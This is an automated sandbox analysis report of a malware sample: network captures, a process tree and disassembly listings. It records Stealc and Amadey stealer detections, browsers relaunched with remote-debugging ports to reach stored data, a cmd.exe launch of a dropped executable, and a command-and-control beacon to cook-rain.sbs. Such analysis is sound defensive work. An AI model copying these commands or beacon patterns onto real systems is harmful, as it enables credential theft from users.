2024-11-19 17:00:53 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	62275	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:54 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6LtLuxTTxdf5n1z&MD=N2tnl4rg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 17:00:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 24429c64-ae80-4a2d-9252-8711b9ac68a1 MS-RequestId: ef58e32d-a643-4fe9-b506-22c4966df0b3 MS-CV: glwV5V+huUOy+mzt.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 17:00:54 GMT Connection: close Content-Length: 24490
2024-11-19 17:00:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 17:00:54 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	62277	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6LtLuxTTxdf5n1z&MD=N2tnl4rg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 17:00:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: dcf487e5-c688-4796-9536-1555773ccd5d MS-RequestId: c5b8aced-7746-4c4f-9adf-5df1cb725387 MS-CV: /WemvTVDZkewawdU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 17:00:55 GMT Connection: close Content-Length: 30005
2024-11-19 17:00:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-19 17:00:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	62709	188.114.97.3	443	7804	C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:02:20 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-19 17:02:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-19 17:02:24 UTC	981	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ub8n4p59vp2h4huard4o58e5ev; expires=Sat, 15-Mar-2025 10:49:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1plJIewXX5QL8XgcGT2TVvudor2mjYI4x0dX7a11c%2Bk3ucmKizFW%2F8eI9pF2wlaFKf%2BUVgEjyqtbmN5rKpA2qeKEZVTLCxaHnsouWF8r84onSZzdzNPtkMGOYPe3uzGg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e51c4738bc01839-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1665715&cwnd=245&unsent_bytes=0&cid=679be065681e80c9&ts=3607&x=0"
2024-11-19 17:02:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-19 17:02:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:00:14
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x430000
File size:	1'761'792 bytes
MD5 hash:	8427E384EA4951EE4A5F0B425FA5AD02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1451214684.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1834499760.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1834499760.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1833210482.0000000000431000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:00:23
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:00:23
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2116,i,15236747376566877076,15780702850238807607,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:00:33
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:00:34
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2308,i,14714462236910812885,8617674991629575776,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:00:34
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:00:34
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	12:00:38
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:00:38
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:00:53
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKEHIEBKJK.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:00:53
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:00:53
Start date:	19/11/2024
Path:	C:\Users\user\DocumentsKKEHIEBKJK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsKKEHIEBKJK.exe"
Imagebase:	0x500000
File size:	1'913'856 bytes
MD5 hash:	73897C497394D9F83B016E6377594C5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1920549597.0000000000501000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1833240740.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:00:57
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4c0000
File size:	1'913'856 bytes
MD5 hash:	73897C497394D9F83B016E6377594C5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1912444151.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1872119711.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:01:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x4c0000
File size:	1'913'856 bytes
MD5 hash:	73897C497394D9F83B016E6377594C5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.1941600584.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.1900819515.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:01:34
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2024,i,8864967968600138433,7843621555391646068,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	12:02:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4c0000
File size:	1'913'856 bytes
MD5 hash:	73897C497394D9F83B016E6377594C5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2696581800.00000000004C1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2495420970.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	12:02:10
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe"
Imagebase:	0x540000
File size:	4'408'320 bytes
MD5 hash:	380A232D2A56B308FFDA46696D44CA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	12:02:16
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007455001\7255bf1ad0.exe"
Imagebase:	0x580000
File size:	1'871'360 bytes
MD5 hash:	F6DF237F8DC7D584D8836042966A0943
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA635A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEF688,00001000), ref: 6CA635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA6363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA6369F
__aulldiv.LIBCMT ref: 6CA636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA63773
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA6377E
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA637C4
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA637CB
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA63801
__aulldiv.LIBCMT ref: 6CA63883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA63902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA63918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA6394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6CA635DB
GTC, xrefs: 6CA63912
GenuntelineI, xrefs: 6CA63639
QPC, xrefs: 6CA638FC
AuthcAMDenti, xrefs: 6CA63946
D($/, xrefs: 6CA635AC

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$D($/
API String ID: 301339242-2310872964
Opcode ID: e80a86d040168880eaa56773a3185f2448a2d595caf0c27c4e14aaa3b0116908
Instruction ID: 0b3ff63f825db01b3d1e5c401eb1f33a186228853fef750ff0d2da2d8956aca6
Opcode Fuzzy Hash: e80a86d040168880eaa56773a3185f2448a2d595caf0c27c4e14aaa3b0116908
Instruction Fuzzy Hash: F3B1CD71B093429BDB4CDF29D85465ABBF5EB8E700F04CA2EE899D3790D73099429BC1

Function 6CA7C930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA7C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA7C969
GetSystemInfo.KERNEL32(?), ref: 6CA7C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA7C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA7C9E2

Strings

D($/, xrefs: 6CA7C939

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: D($/
API String ID: 4191843772-324952136
Opcode ID: 979c81ae029a9f6d80c315e6b282edb2abe08e20c47fddf61252150fd2003764
Instruction ID: fbf43c1303c379c04e1527a57e21231a87513eb7241c92971a542dc7bda09e67
Opcode Fuzzy Hash: 979c81ae029a9f6d80c315e6b282edb2abe08e20c47fddf61252150fd2003764
Instruction Fuzzy Hash: DD212F357413156BD7989A68DC88BAE77B9FF4A708F50411DF90397640DB705C4487E4

Function 6CA63060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA63095

Part of subcall function 6CA635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEF688,00001000), ref: 6CA635D5
Part of subcall function 6CA635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA635E0
